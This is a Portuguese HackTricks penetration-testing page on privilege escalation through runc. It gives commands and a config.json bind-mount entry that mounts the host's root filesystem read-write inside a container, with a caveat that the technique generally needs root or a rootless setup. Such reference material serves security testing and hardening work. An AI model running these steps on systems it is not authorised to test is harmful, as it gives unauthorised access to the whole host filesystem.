RunC Privilege Escalation

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Se você quer aprender mais sobre runc, confira a seguinte página:

page2375, 2376 Pentesting Docker

PE

Se você descobrir que runc está instalado no host, você pode ser capaz de executar um contêiner montando a pasta raiz / do host.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

Isso nem sempre funcionará, pois a operação padrão do runc é executar como root, então executá-lo como um usuário não privilegiado simplesmente não pode funcionar (a menos que você tenha uma configuração sem root). Tornar uma configuração sem root padrão geralmente não é uma boa ideia porque há várias restrições dentro de contêineres sem root que não se aplicam fora de contêineres sem root.

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Last updated